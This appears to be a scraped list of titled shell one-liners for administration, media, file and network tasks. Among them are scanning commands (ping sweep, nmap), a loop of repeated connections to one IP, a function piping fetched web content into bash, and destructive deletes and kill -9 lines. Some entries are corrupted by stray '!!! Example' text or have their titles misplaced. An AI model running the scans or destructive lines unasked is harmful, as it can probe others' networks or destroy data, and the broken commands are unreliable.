parse_rpm() { RPM=$1;B=${RPM##*/};B=${B%.rpm};A=${B##*.};B=${B%.*};R=${B##*-};B=${B%-*};V=${B##*-};B=${B%-*};N=$B;echo "$N $V $R $A"; }
IP list of aborted mail logins
grep -i "aborted login" /var/log/maillog | awk 'BEGIN{FS="="}{print substr($4,8)}' | cut -d"," -f1
Convert all FLV's in a directory to Ogg Theora (video)
for i in $(ls *.flv); do ffmpeg2theora -v 6 --optimize $i; done
see who is on this machine
w
One liner to parse all epubs in a directory and use the calibre ebook-convert utility to convert them to mobi format
for filename in *.epub;do ebook-convert "$filename" "${filename%.epub}.mobi" --prefer-author-sort --output-profile=kindle --linearize-tables --smarten-punctuation --asciiize --enable-heuristics;done
see the size of the downloaded traffic
watch -n 1 "echo | sudo iptables -nvL | head -1 | awk '{print \$7}'"
Print duplicate files
find . -type f -print0 | xargs -0 -n1 md5sum | sort -k 1,32 | uniq -w 32 -d --all-repeated=separate | sed -e 's/^[0-9a-f]*\ *//;'
Ping sweep without NMAP
prefix="169.254" && for i in {0..254}; do echo $prefix.$i/8; for j in {1..254}; do sh -c "ping -m 1 -c 1 -t 1 $prefix.$i.$j | grep \"icmp\" &" ; done; done
Recursively backup files
find /var/www/ -name file -exec cp {} {}.bak \;
Recursive chmod all *.sh files within the current directory
chmod u+x **/*.sh
Display sorted, human readable list of file and folders sizes in your current working directory
du -had 1 | sort -h
AIX: get LUN ID for a given filesystem
getlunid() { lv=$(df -P $1|grep "^/dev/"|awk '{print $1}'|awk -F/ '{print $3}'); hd=$(lslv -l $lv|tail -1|awk '{print $1}');id=$(odmget -q "name like $hd AND attribute=unique_id" CuAt|grep "value ="|awk -F= '{print $2}'|tr -d '"');echo $id;}
Find the process you are looking for minus the grepped one
pgrep -fa <pattern>
Bold & Normal Text Variables
BOLD=$(tput bold); NORM=$(tput sgr0)
used like echo, but outputs to stderr instead of stdout
alias errcho='>&2 echo'
Show running services (using systemctl)
systemctl --no-page -t service -a --state running --no-legend
Parallel recursive convert files to other format and move them in another directory
find $(pwd) -type f -not -path '*/\.*' -iname '*.tif' -print0| xargs -0 -n1 -P4 -I{} bash -c 'X="{}"; Y=${X##*/}; convert "$X" -resize 1920x1080 -density 72" newpath/${Y%.*}.jpg"'
List wireless clients connected to an access point
iw dev ath0 station dump
File count into directories
find / -type d | while read i; do ls $i | wc -l | tr -d \\n; echo " -> $i"; done | sort -n
Create a directory and change into it at the same time
take dirname
watches every second, a directory listing as it changes
while :; do clear; ls path/to/dir | wc -l; sleep 1; done
Reconstruct a malformed authorizated_keys for ssh
cat authorized_keys_with_broken_lines | sed 's,^ssh,%ssh,' | tr '\n' '\0' | tr '%' '\n' | sed '1d' | sed "/^$/d" > authorized_keys
Juste a reminder that this works.
true || false && echo true || echo false
Get IPv4 of eth0 for use with scripts
ifconfig eth0 | perl -ne "print if m/inet addr:((\d+\.){3})+/" | sed "s/inet addr//" | sed "s/Bcast//" |awk -F: '{print $2}'
list all files modified in the last 24 hours descending from current directory
find . -type f -mtime -1 \! -type d -exec ls -l {} \;
Fast CLI Timer
time read x
wala
lynx -useragent=Opera -dump 'http://www.facebook.com/ajax/typeahead_friends.php?u=Bilal Butt&__a=1' |gawk -F'\"t\":\"' -v RS='\",' 'RT{print $NF}' |grep -v '\"n\":\"' |cut -d, -f2
ls output with mode in octal
lso(){ jot -w '%04d' 7778 0000 7777 |sed '/[89]/d;s,.*,printf '"'"'& '"'"';chmod & '"$1"';ls -l '"$1"'|sed s/-/./,' \ |sh \ |{ echo "lso(){";echo "ls \$@ \\";echo " |sed '";sed 's, ,@,2;s,@.*,,;s,\(.* \)\(.*\),s/\2/\1/,;s, ,,';echo \';echo };};}
Smiley prompt based on command exit status
export PS1="\[\e[01;32m\]\u@\h \[\e[01;34m\]\W \`if [ \$? = 0 ]; then echo -e '\[\e[01;32m\]:)'; else echo -e '\[\e[01;31m\]:('; fi\` \[\e[01;34m\]$\[\e[00m\]"
Pretty print all of the Linux vm sysctls for your viewing pleasure
find /proc/sys/vm -maxdepth 1 -type f | while read i ; do printf "%-35s\t%s\n" "$i" "$(<$i)" ; done | sort -t/ -k4
Get Unique Hostnames from Apache Config Files
egrep 'ServerAlias|ServerName' /etc/apache2/sites-enabled/*.conf | awk '{printf "%s\t%s\n",$2,$3}' | sed 's/www.//' | sort | uniq
find and delete files smaller than specific size
find . -type f -size -80k -print0|xargs -0 rm
Recursively backup files
find /var/www/ -name file -exec cp {}{,.bak} \;
Check if variable is a number
(($1 > 0)) && echo "var is a number"
Batch JPEG rename to date using ImageMagick
for fil in *.JPG; do datepath="$(identify -verbose $fil | grep DateTimeOri | awk '{print $2"_"$3 }' | sed s%:%_%g)"; mv -v $fil $datepath.jpg; done
Read recursive directory listings at leisure
ls -lR | less
grep BTC last trading price from BTC-E, but u can change it.. they got em all
wget -q -O- http://bitinfocharts.com/markets/btc-e/btc-usd.html |grep -o -P 'lastTrade">([0-9]{1,})(.){0,1}[0-9]{0,}' |grep -o -P '(\d)+(\.){0,1}(\d)*' |head -n 1
Active Directory lookup by first name last name from a long list
gc users.txt | %{get-aduser -filter "(givenname -eq '$($_.Split(",")[0])') -and (surname -eq '$($_.Split(",")[1])')"} | ft samaccountname,givenname,surname,enabled -auto
Display specific line in a text file
sed "<line no>q;d"
Shortcut to a lightweight detachable 'multi-windowed' terminal session
echo 'alias wm="abduco -A your_title_here dvtm -M"' >> ~/.bashrc
Btrfs: Find file names with checksum errors
grep "checksum error at logical" /var/log/messages | egrep -o "[^ ]+$" | tr -d ')' | sort | uniq
Select to character in visual mode
Vja<character>
KDE Console Logout command (with confirmation dialog)
$ qdbus org.kde.ksmserver /KSMServer logout 1 0 0
Number of seconds to certain unix date
echo $( (( $( (2**31 -1) ) - $(date +%s) )) )
Fibonacci numbers with sh
prev=0;next=1;echo $prev;while(true);do echo $next;sum=$(($prev+$next));prev=$next;next=$sum;sleep 1;done
Set X keymap to dvorak and fix the Ctrl key.
setxkbmap dvorak '' ctrl:nocaps
Get IPv4 of eth0 for use with scripts
ip addr show eth0 |grep 'inet\b' |awk '{print $2}' |sed -r -e 's/\/.*?//g'
solaris: get seconds since epoch
truss date 2>&1 | awk '/^time/{print $3}'
kill all process that belongs to you
ps -u $USER -lf | grep -vE "\-bash|sshd|ps|grep|PPID" > .tmpkill; if (( $(cat .tmpkill | wc -l) > 0 )); then echo "!!! Example "KILL EM ALL"; cat .tmpkill; cat .tmpkill | awk '{print $4}' | xargs kill -9; else echo "!!! Example "NOTHING TO KILL"; fi; cat .tmpkill; rm .tmpkill;
git-rm for all deleted files, including those with space/quote/unprintable characters in their filename/path
git ls-files -z -d | xargs -0 git rm --
terminal based annoy-a-tron
while true; do sleep $(($RANDOM/1000)) && beep -f 2000 -l $(($RANDOM/100)) ; done
display lines in /etc/passwd between line starting …
< /etc/passwd sed -n "/^bin:/,/^lp:/p"
Random cowsay with figlet typhography
figlet -f $(ls /usr/share/figlet/fonts/*.flf | shuf -n1) namakukingkong | cowsay -n -f $(ls /usr/share/cows/ | shuf -n1)
Kill the process group containing a process named svscan (djb's daemontools)
kill -9 -$(ps x -o "%c %r" | awk '/svscan/{print $2}')
Count the number of lines of code, returns total
find . \( -iname '*.cpp' -o -iname '*.h' \) -exec wc -l {} \; | sort -n | cut --delimiter=. -f 1 | awk '{s+=$1} END {print s}'
Use emacs in place of tail -f
function emon { emacs "$1" --eval '(auto-revert-tail-mode)' --eval '(setq buffer-read-only t)' --eval '(goto-char (point-max))' }
convert single digit to double digits
for f ([0-9].txt) zmv $f '${(l:1::0:)}'$f
Fetches a Reddit user's ($USER) link karma
curl -s http://www.reddit.com/user/$USER/about.json | tr "," "\n" | grep "link_karma" | tr ": " "\n" | grep -E "[0-9]+" | sed s/"^"/"Link Karma: "/
Batch symbolic links creation
for i in '/tmp/file 1.txt' '/tmp/file 2.jpg'; do ln -s "$i" "$i LINK"; done
Change directory for current path (in bash)
changeFolder() { if [ $!!! Example "-ne 2 ]; then echo "Usage: changeFolder old new"; return; fi; old=$(pwd); folder=$(echo "$old" | sed -e "s/$1/$2/g"); if [ ! -d "$folder" ]; then echo "Folder '$folder' not found."; return; fi; echo "$old -> $folder"; cd $folder;}
Find for jar's containing a class file
find <directory> -print -iname "*.jar" -exec jar -ftv '{}' \;|grep -E "jar|<classname>"
Grep for non-empty lines that do not start with !!! Example "(comments) or
grep -v -e '^$' -e '^[#\[]' -e '\/' some_file
display colored list items in less pager
ls --color PATH | less -R
convert JSON object to JavaScript object literal
cat data.json | json-to-js | pbcopy
Find Apache Root document
grep -e '^[[:blank:]]*DocumentRoot[[:blank:]]\S'
Dump top 10 ports tcp/udp from nmap
nmap -oA derp --top-ports 10 localhost>/dev/null;grep 'services\=' derp.xml | sed -r 's/.*services\=\"(.*)(\"\/>)/\1/g'
Add audio CD to xmms2 playlist
xmms2 addpls cdda://
Archive every file in /var/logs
find /var/logs -name * | xargs tar -jcpf logs_`date +%Y-%m-%e`.tar.bz2
Find all bash functions in a file
functions(){ read -p "File name> "; sort -d $REPLY | grep "(){" | sed -e 's/(){//g' | less; }
Export mysql database to another database without having to save the output first
mysqldump -u<username> -p<password> -h<source database host> databasename table1 table2 table_n | mysql -u<user> -p<password> -h<destination database host> databasename
Realtime clock cowsay
watch -tn1 'figlet -f slant `date +%T` | cowsay -n -f telebears'
Disable an interface's multicast filter for testing
ifconfig eth0 allmulti
Wipe a directory recursively & safely
wipe -rfqQ 10 directory/
Poor man's pomodoro timer
echo "aplay ring.wav" | at now + 25 min
Batch rename of files (names from file)
ls | paste --delimiters='*' - ./zzz | awk ' BEGIN{FS="*";} { system("mv " $1 " \"" $2 "\"") }'
psgrep(command)
psgrep() { ps aux | tee >(head -1>&2) | grep -v " grep $@" | grep "$@" -i --color=auto; }
List files that are not owned by any installed package
for file in /usr/bin/*; do pacman -Qo "$file" &> /dev/null || echo "$file"; done
Numerically sorted human readable disk usage
du -s * | sort -n | cut -f2 | tr '\n' '\0' | xargs -0 -I {} du -sh "{}"
Grep for pattern & get uniq filenames
grep -nri "pattern_to_search" folder_name/ | awk -F ":" '{print $1}' | uniq | awk 'BEGIN {f=""} {f = f" "$0} END {print f}'
Watch PHP files, run and send desktop notification
ls src/**/*.php | entr sh -c 'notify-send "Unit tests" "$(phpunit 2>&1)"'
[offline] Pronounce IPA (International Phonetic Alphabet)
ipa_say() { lexconvert.py --try unicode-ipa "$@" ;}
Copy a file using dd and watch its progress
dd if=foo of=bar status=progress
Convert Youtube videos to MP3 at best quality and renamed to avoid video ID
youtube-dl --output "%(title)s.%(ext)s" --extract-audio --audio-format mp3 --audio-quality 0 <YOUTUBE_URL>
Search for MP3s from current directory and play them in random order.
mpv --playlist <(find -type f -iname '*.mp3' -print0 | xargs -0 realpath | sort -R)
draw line separator (using knoppix5 idea)
printf "%.s*" {1..40}; printf "\n"
search package descriptions (apt)
apt-cache search someregex
Check version of DNS Server
nslookup -q=txt -class=CHAOS version.bind NS.PHX5.NEARLYFREESPEECH.NET
Count files created by date/modification
find . -type f -exec stat \{\} \; | grep Modify: | awk '{a[$2]++}END{for(i in a){print i " : " a[i] }}' | sort
deleter
today=`date +%d`; ls -ltr | rm -f `nawk -v _today=$today '{ if($5 != 0 && $7 < _today) { print $9 } }'`
collapse first five fields of Google Adwords export .tsv file into a single field, for gnumeric
awk -F $'\t' '{printf $1 LS $2 LS $3 LS $4 LS $5; for (i = 7; i < NF; i++) printf $i "\t"; printf "\n";}' LS=`env printf '\u2028'` 'Ad report.tsv'
Hunt for the newest file.
fn=$(find . -type f -printf "%T@\t%p\n"|sort -n|tail -1|cut -f2); echo $(date -r "$fn") "$fn"
Copy current/working directory to clipboard
pwd | tr -d '\n' | xsel -b
get the revision number of your svn working copy
svbversion .
Extract text from all PDFs in curdir & subdirs to new files named as source+.txt, linux only.
echo '#!/bin/bash' > junk.sh ; find . -iname *.pdf -type f -printf \p\s\2\a\s\c\i\i\ \"%p\"\ \ \"%p\.\t\x\u\"\;\ \p\a\r\ \<\"%p\.\t\x\u\"\ \>\"%p\.\t\x\t\"\ \;\ \r\m\ \"%p\.\t\x\u\"\ \\n >>junk.sh; chmod 766 junk.sh; ./junk.sh ; rm junk.sh
Creating new user with encrypted password
useradd -m -s /bin/bash -p $(mkpasswd --hash=SHA-512 password) username
convert flac files to mp3 files into subdir mp3
IFS=$(echo -en "\n\b"); input="/my/input/dir/*.flac"; mkdir -p $(dirname $f)/mp3; for f in $input; do ffmpeg -i $f -ab 196k -ac 2 -ar 48000 $(dirname $f)/mp3/$(basename "${f:0:${#f}-4}mp3"); done
Generate random valid mac addresses
openssl rand -hex 6 | sed 's/\(..\)/:\1/g; s/^.\(.\)[0-3]/\12/; s/^.\(.\)[4-7]/\16/; s/^.\(.\)[89ab]/\1a/; s/^.\(.\)[cdef]/\1e/'
Show a running count of CLOSE_WAIT and TIME_WAIT connections for debugging network apps
watch -n5 ss \| grep -c WAIT
check the status of 'dd' in progress (OS X)
watch -n 10 sudo kill -INFO $(pgrep -l '^dd$' | cut -d ' ' -f 1)
Show sum of active sockets by process name or mask
pgrep -lf processname | cut -d' ' -f1 | awk '{print "cat /proc/" $1 "/net/sockstat | head -n1"}' | sh | cut -d' ' -f3 | paste -sd+ | bc
Continuously show wifi signal strength on a mac
while i=1; do echo -ne 'Wifi signal strength:' $(/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -I | grep CtlRSSI | awk {'print $2'}) '\r'; sleep 0.5; done
Nicer ls, directories first and colorized (MacOS)
ls -g --almost-all --group-directories-first --color --no-group --human-readable --classify
sync repository and do install
sudo apt-fast update && sudo apt-fast -y dist-upgrade
Count all [space][new line][space][new line] pattern using grep
echo $(( $(grep -c '^ $' file_name) / 2 ))
Visual alert with keyboard LEDs
for a in $(seq 16); do xdotool key Num_Lock;sleep .5; xdotool key Caps_Lock;done
simple nbtstat -a equivalent/alias for linux (uses nmblookup)
alias nbtstat='nmblookup -S -U <server> -R'
Add crc32 checksum in the filenames of all mp4
for file in *.mp4; do mv "$file" "${file%.*} [$(cksfv -b -q "$file" | egrep -o "\b[A-F0-9]{8}\b$")].${file#*.}"; done
Delimiter Hunting
comm -13 <(od -vw1 -tu1 dummy.txt|cut -c9-|sort -u) <(seq 0 127|sort)|perl -pe '$_=chr($_)'|od -c
View Manufacturer, Model and Serial number of the equipment using dmidecode
dmidecode -t system
Execute ls -lah every one second
while true; do ls -lah && sleep 1; done
How to HTMLize many files containing accents ?|?|?|?|?
for i in `grep -ri "?\|?\|?\|?\|?" * --col | cut -d: -f1 |sort -u `;do sed -i "s/?/\á/g" $i; sed -i "s/?/\é/g" $i; sed -i "s/?/\í/g" $i; sed -i "s/?/\ó/g" $i; sed -i "s/?/\ú/g" $i; echo "HTMLizing file [$i]";done
format one line json to pretty json in vim
nnoremap <leader>= :%s~\({\\|}\\|\[\\|\]\)~\r\1\r~g<cr>:%s~,"~,\r"~g<cr>ggvG=
search "
function search() { cat ${@:1} | grep --color=always -E "$1|$" }
Show current folder that is searched by find command
watch readlink -f /proc/$(pidof find)/cwd
Solaris 11, test which version your IPS pkg will update you to.
pkg update -nv | sed -n '/entire/{N;p;}'
PulseAudio: set the volume via command line
pactl set-sink-mute 0 false ; pactl set-sink-volume 0 +5%
SSL tunnel to proxy remote mysql port
ssh -T -N -L 23306:localhost:3306 root@mysql.domain.com
Compare mysql db schema from two different servers
diff <(mysqldump -hsystem db_name --no-data --routines) <(mysqldump -hsystem2 db_name --no-data --routines) --side-by-side --suppress-common-lines --width=690 | more
Start monitoring your server with a single curl command.
curl ping.gl
for loop, counting forward for backward
for i in {1..15}; do echo $i; done
Sum using awk
ps -ylC httpd --sort:rss | awk '{ SUM += $8 } END { print SUM/1024 }'
Display any udp/tcp connections by process name or by process id
lsof -nP -c COMMAND | egrep -o '(TCP|UDP).*$' | sort -u
flush stdin in bash
read -t 0.1 -N 255
search google on os x
alias google='open http://www.google.com/search?q="'
Expand shortened URLs
expandurl() { wget -S $1 2>&1 | grep ^Location; }
Displays all the fields of a table, really usefull to run it inside editor (Emacs or vim)
echo "DESCRIBE dbname.table_name" | mysql -u dbusername | awk '{print $1}' | grep -v Field
Find corrupted jpeg image files
find . -iname '*jpg' -print0 | xargs -0 exiftool -warning; find . -iname '*jpg' -print0 | xargs -0 jpeginfo -c
Threads and processes of a user
$ ps -LF -u user
Convert all .weblock files in present directory (Apple url) to a url on the stdout.
strings * |grep -v "Apple" |grep http |uniq |sed "s/<[^>]\+>//g"
oneliner to transfer a directory using ssh and tar
tar -vzc /path/to/cool/directory | ssh -q my_server 'tar -vzx -C /'
Enter a command but keep it out of the history
Take Screenshot with Tizen SDK
cd ~; fn=$(date "+ screen-%H-%M-%S"); sdb shell xwd -root -out /tmp/"$fn".xwd; sdb pull /tmp/"$fn".xwd ~/; convert "$fn".xwd "$fn".png
Extract only a specific file from a zipped archive to a given directory
unzip -j "myarchive.zip" "in/archive/file.txt" -d "/path/to/unzip/to"
scp through host in the middle
A$ scp -oProxyCommand="ssh -W %h:%p B" thefile C:destination
simulate Simultaneous connections with curl
for i in {0..60}; do (curl -Is http://46.101.214.181:10101 | head -n1 &) 2>/dev/null; sleep 1; done;
get process id of command
processid=$(ps aux | grep 'nginx' | grep -v grep| awk '{print $2}')
Open clipboard content on vim
alias vcb='xclip -i -selection clipboard -o | vim -'
Display only hosts up in network
nmap -sP your network/submask | awk "/^Host/"'{ print $2 }'
Working random fact generator
lynx -dump randomfunfacts.com | grep -A 3 U | sed 1D
External IP address
wget http://cmyip.com -O - -o /dev/null | grep -Po '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+'
Active Internet connections (only servers)
netstat -lnptu
remove all CVS directories
find . -type d -name 'CVS' -exec rm -r {} \;
Print a list of all disks or volumes attached to a system
awk '{if ($NF ~ "^[a-zA-Z].*[a-zA-Z]$" && $NF !~ "name" || $NF ~ "c[0-9]+d[0-9]+$") print "/dev/"$NF}' /proc/partitions
Copy a file over SSH without SCP
ssh username1@servername1 -t ssh username2@servername2 uuencode -m testfile1.tar - | uudecode > testfile1.tar
Split SQL/TXT File into 12000 Lines Each File and then Add .sql Extension to File
split -l 12000 -a 5 database.sql splited_file i=1 for file in splited_file* do mv $file database_${i}.sql i=$(( i + 1 )) done
Recursive find and replace in h an cpp files
find . -name "*.h" -o -name "*.cpp" | xargs sed -i 's/addVertexes/addVertices/g'
Compile all .less files to .css
find *.less | xargs -I {} lessc {} {}.css && ls *.less.css | sed -e 'p;s/less.css/css/' | xargs -n2 mv
if you are working in two different directories; e.g. verifying files in your home directory; ls ~/ and you need to cd to the /etc/directory. you can enter 'cd -' (no single quotes) to go back and forth between directories.
cd -
Kill-Line
<control> + K
Get the user with the top number of logins
last | grep -i console | grep -iv 'root' | cut -f 1 -d ' ' | sort | uniq -c | sort -nr | awk '{print $2}' | head -1
scp through host in the middle
B$ scp -3 A:file C:file
Serve current directory tree at http://localhost:8000
python3 -m http.server
ip from hostname domain
getent hosts web.de | awk '{ print $1 }'
get a random command-line-fu tip
w3m -dump http://www.commandlinefu.com/commands/random/plaintext
Change all the limits that can be changed to unlimited
for fl in $(ulimit -a | awk '{ gsub(":", "", $1); print $1}'); do ulimit $fl unlimited; done
Delete residues configuration files
dpkg -l | grep ^rc | awk '{print $2}' | sudo xargs dpkg -P
Cleanly list available wireless networks (using iwlist)
iwlist wlan0 scan | sed -ne 's#^[[:space:]]*\(Quality=\|Encryption key:\|ESSID:\)#\1#p' -e 's#^[[:space:]]*\(Mode:.*\)$#\1\n#p'
check broken links using wget as a spider
wget --spider -o wget.log -e robots=off --wait 1 -r -p http://www.example.com
analyze traffic remotely over ssh w/ wireshark
ssh root@HOST tcpdump -iany -U -s0 -w - 'not port 22' | wireshark -k -i -
encrypt sensitive image using password
read -s PASS; echo $PASS | convert sensitive.jpg -encipher - -depth 8 png24:hidden.png
Print out all partitions on a system
awk '{if ($NF ~ "^[a-zA-Z].*[0-9]$" && $NF !~ "c[0-9]+d[0-9]+$" && $NF !~ "^loop.*") print "/dev/"$NF}' /proc/partitions
List all symbolic links in current directory
ls -l | grep "\->"
When using mkvirtualenv, make the current directory your base and cd into that directory every time you workon that project
echo 'echo "cd `pwd`" >> $VIRTUAL_ENV/bin/postactivate' >> $VIRTUAL_ENV/../postmkvirtualenv
replace spaces in filenames with underscores
zmv '* *' '$f:gs/ /_'
Get a list of all TODO/FIXME tasks left to be done in your GIT project
alias tasks='git grep -EI "TODO|FIXME"'
Keyboard Macros
man bash | grep -A 9 "Keyboard Macros"
Display the standard deviation of a column of numbers with awk
awk '{delta=$1; avg+=$1/NR;} END {print "stdev = " sqrt(((delta-avg)^2)/NR);}'
get the resolution of desktop
xwininfo -root | grep 'geometry' | awk '{print $2;}'
unpack tar.bz2
tar xjvf file.tar.bz2
Check if the same table name exist across different databases
find . -name "withdrownblocks.frm" | sort -u | awk -F'/' '{print $3}' | wc -l
Zip all subdirectories into zipfiles
for f in `find . \( ! -name . -prune \) -type d -print`; do zip $f.zip $f; done
List bash functions defined in .bash_profile or .bashrc
declare -F | sed 's/^declare -f //'
View the newest xkcd comic.
xkcd() { wget -qO- http://xkcd.com/ | sed -n 's#^<img src="\(http://imgs.[^"]\+\)"\s\+title="\(.\+\?\)"\salt.\+$#eog "\1"\necho '"'\2'#p" | bash ; }
Get a server's serial number or Dell service tag from within linux
dmidecode -s system-serial-number
resize canvas of image and fill it with transparence
convert input.png -gravity NorthWest -background transparent -extent 720x200 output.png
Count unique lines in file sorted by instance count (descending) and alphabetically (ascending)
sort file.txt | uniq -c | sort -k1nr -k2d
how much time restart the wls service?
more restart_weblogic.log | grep "LISTEN" | awk '{ print $7 }' | uniq | wc -l
List you configure's ip address in your system
ip addr list | grep global | awk '{print $7"\t"$2}'
Compare two files and output similarities to a new file
comm -1 -2 <(sort file1) <(sort file2) |& tee outputfile
Record grag desktop with ffmpeg
ffmpeg -f x11grab -r 25 -s 1280x720 -i :0.0+0,24 -vcodec libx264 -threads 0 /tmp/video.mkv
Watch all postgres processes, sorted by memory use
watch -n 1 '{ ps aux | head -n 1; ps aux --sort -rss | grep postgres | grep -v grep; } | cat'
Manually trim SSD
sudo fstrim -v /
backup all data in compressed format
mysqldump --routines --all-databases | gzip > /home/mydata.sql.gz 2> /home/mydata.date '+\%b\%d'.err
creates a bash function to remove certain lines from SSH known_hosts file
function sshdel { perl -i -n -e "print unless (\$. == $1)" ~/.ssh/known_hosts; }
Find all PowerPC applications on OS X
system_profiler SPApplicationsDataType | perl -nl -e '@al=<>; $c=@al; while($j<$c){ $apps[$i].=$al[$j]; $i++ if ($al[$j] ) =~ /^\s\s\s\s\S.*:$/; $j++} while($k<$i){ $_=$apps[$k++]; if (/Kind: PowerPC/s) {print;}}'
Find in all files in the current directory, just a find shorthand
grep -H -n "pattern" *
Remove all the files except abc in the directory
rm *[!abc]
Remove acentuation from file names in a directory.
for i in *; do mv -vi "$i" "`echo "$i"|sed y/????????????????????????/AAAAEEIOOUUCaaaaeeioouuc/`"; done; sync
mencoder convert video to xvid
mencoder input_file -o output_file -oac mp3lame -lameopts cbr:br=32 -ofps 30 -vf harddup -ovc xvid -xvidencopts fixed_quant=3
Enumerate rubygems environment
gem env
list and kill any processes currently using /mount
fuser -vmk /mount
Extract files from an ISO image without being root
xorriso -osirrox on -indev /tmp/pmagic-6.7.iso -report_about NOTE -extract / /tmp/extractedfiles
sum and average of requests responses times or sizes in Apache2 access log
egrep '.*(("STATUS)|("HEAD)).*' http_access.2012.07.18.log | awk '{sum+=$11; ++n} END {print "Tot="sum"("n")";print "Avg="sum/n}'
bin file of a pid
readlink -f /proc/$pid/exe
Find today created files
print -rl **/*(.m0)
Do Google search from the shell, opening into Chromium or a new Firefox tab if not installed.
google() { gg="https://www.google.com/search?q=";q="";if [[ $1 ]]; then for arg in "$@" ; do q="$q+$arg"; done ; if [[ -f /usr/bin/chromium ]]; then chromium "$gg"$q; else firefox -new-tab "$gg"$q; fi else echo 'Usage: google "[seach term]"'; fi }
split mp3 file to chunks
mp3splt -t 1.0 myfile.mp3 -o @n_@f -d out_dir
Get a PostgreSQL servers version
psql -h <SERVER NAME HERE> -t -c 'SELECT version();' |head -1
gzip only that files that are not gzipped and are not open by any process
find -type f ! -name "*.gz" ! -exec fuser -s {} ';' -exec gzip {} \;
Export all domains in bind format from AWS Route53
eval `cli53 list |grep Name | sed "s/\.$//g" | awk '{printf("echo %s; cli53 export %s > %s;\n", $2, $2, $2);}'`
ffmpeg convert mkv to mp4
ffmpeg -i video.mkv -vcodec libx264 -crf 22 -threads 0 video.mp4
repeat any string or char n times without spaces between
echo "$(yes '+' | head -n5)"
escape quotes, strip newlines, tabs and spaces from JSON
sed 's/\"/\\\"/g' json_file | tr -d '\n' | tr -d '[[:blank:]]'
Trim disk image for best compression before distributing
kpartx -av disk.img && mkdir disk && mount /dev/mapper/loop0p1 disk && fstrim -v disk && umount disk && kpartx -d disk.img
check mysql server performance
mysqlslap --query=/home/ec2-user/insert.txt --concurrency=123 --iterations=1 --create-schema=test
Delete all lines after the first match
sed -n -e '1,/match/p'
bbs in utf8 console
luit -encoding gbk telnet bbs.sysu.edu.cn
Search OpenSolaris packages and show only the pkg names
pkg search SEARCH_TERM | awk '{print $NF}' | sed -e 's;.*/\(.*\)\@.*;\1;' | sort -u
archlinux: find more commands provided by the package owning some command
w=`whereis <command> | awk '{print $2}'`; p=`pacman -Qo $w | sed -e 's/.*is owned by \([[:alpha:]]\+\).*/\1/'`; pacman -Ql $p | grep 'bin'
Add all unversioned files to svn
svn stat | grep "^\?" | awk '{ print "svn add " $2 }' | bash
grep compressed log files without extracting
zcat log.tar.gz | grep -a -i "string"
Expand shortened URLs
expandurl() { curl -sIL $1 2>&1 | awk '/^Location/ {print $2}' | tail -n1; }
Backup all MySQL Databases to individual files
while read; do mysqldump $REPLY | gzip > "/backup/mysql/$REPLY.sql.gz"; done < <( mysql -e 'show databases' -s --skip-column-names )
command to find when the last commit has happened from the server
svnlook date /path/to/repo
Opens an explorer.exe file browser window for the current working directory
open() { explorer /e, $(cygpath -wap "${1:-$PWD}"); }
Generate a Random (unicast) MAC address
openssl rand -hex 1 | tr '[:lower:]' '[:upper:]' | xargs echo "obase=2;ibase=16;" | bc | cut -c1-6 | sed 's/$/00/' | xargs echo "obase=16;ibase=2;" | bc | sed "s/$/:$(openssl rand -hex 5 | sed 's/\(..\)/\1:/g; s/.$//' | tr '[:lower:]' '[:upper:]')/"
Using netcat and lz4c to copy files between servers
On target: "nc -l 4000 | lz4c -d - | tar xvf -" On source: "tar -cf - . | lz4c | nc target_ip 4000"
Create AUTH PLAIN string to test SMTP AUTH session
authplain() { echo -n "AUTH PLAIN "; echo -n \\0$1\\0$2\\0 | base64; }
Delete a large amount of files
find . -type f -delete
Get video information with ffmpeg
avconv -i vid.avi
Find all files in path2 that do not have a symbolic link in path1 or any of its subdirectories
find /path1 -type l -exec readlink -f {} \; > links.txt && find /path2 -type f > files.txt && grep -Fxv -f links.txt files.txt
Sum file sizes of found files
find . -mtime +30 -exec ls -all "{}" \; | awk '{COUNTER+=$5} END {SIZE=COUNTER/1024/1024; print "size sum of found files is: " SIZE "MB"}'
pack with tar tar.gz
tar cfvz archiv.tar.gz folder folder
nmap get active devices
nmap -sn 192.168.1.0/24
List encoding of ? in all avalible char sets
for i in `recode -l | cut -d" " -f 1`; do echo $i": ?" | recode utf-8..$i -s -p >> temp; done; vim temp
extract all tgz in current dir
ls *tgz | xargs -n1 tar xzf
Create a tar of modified/added files since revision 1792.
svn diff -r 1792:HEAD --summarize | awk '{if ($1 != "D") print $2}'| xargs -I {} tar rf incremental_release.tar {}
Display hardware information about PCI / PCIe Slots
dmidecode –type 9
List all username for accounts using bash shell
cat /etc/passwd | grep "bash" | cut -d: -f1
解决rhythmbox播放中文乱码
mid3iconv -e GBK *.mp3
cd Nst subdir
cd $(ls -1 | sed -n '<N>p')
Find files with size over 100MB and output with better lay-out
print -rl **/*(.Lm+100)
Command used to sync arch ro manjaro mirrors
sudo pacman-mirrors -g
dpkg: purge all packages matching some name
sudo dpkg -P $(sudo dpkg -l yourPkgName* | awk '$2 ~ /yourPkgName.*/' | awk '$1 ~ /.i/' | awk '{print $2}')
Open all files in directory with sublime text
subl `grep -R <text> <path> | awk -F: '{ printf $1" " }'`
List a large directory of files quickly
ls -U1
grep for all occurences of a (Perl-)regex in the complete, or part of man-database
man -a --regex "byobu" |grep --color=always -i3P 'key[a-z-]*?s' | less -R
dd with progress bar and statistics to gzipped image
DISKSIZE=`sudo blockdev --getsize64 /dev/sdb` && sudo dd bs=4096 if=/dev/sdb | pv -s $DISKSIZE | sudo gzip -9 > ~/USBDRIVEBACKUP.img.gz
nano replace command
ctrl + altGr \
check virt is available
egrep -c '(vmx|svm)' /proc/cpuinfo
OSX script to change Terminal profiles based on machine name; use with case statement parameter matching
echo "tell application \"Terminal\"\n\t set its current settings of selected tab of window 1 to settings set \"$PROFILE\"\n end tell"|osascript;
Reads in the ~/.Xdefaults
alias xdef_load='xrdb -merge ~/.Xdefaults'
Exclude grep from your grepped output of ps (alias included in description)
pgrep -fl [h]ttpd
Find out Information about BIOS
dmidecode –type 0
cat /etc/passwd | egrep -v "noshell|false|nologin" | cut -d: -f1,7
Get a list of user accounts and their login shell
sleep for a random amount of time up to an hour
sleep `shuf -i 0-3600 -n 1`
Twitter Account Validator
if wget https://twitter.com/users/username_available?username=xmuda -q -O - | grep -q "\"reason\":\"taken\""; then echo "Username taken"; else echo "Free / Banned Name"; fi
diff remote and local sshd_configs
colordiff <(ssh user@host cat /etc/ssh/sshd_config) /etc/ssh/sshd_config
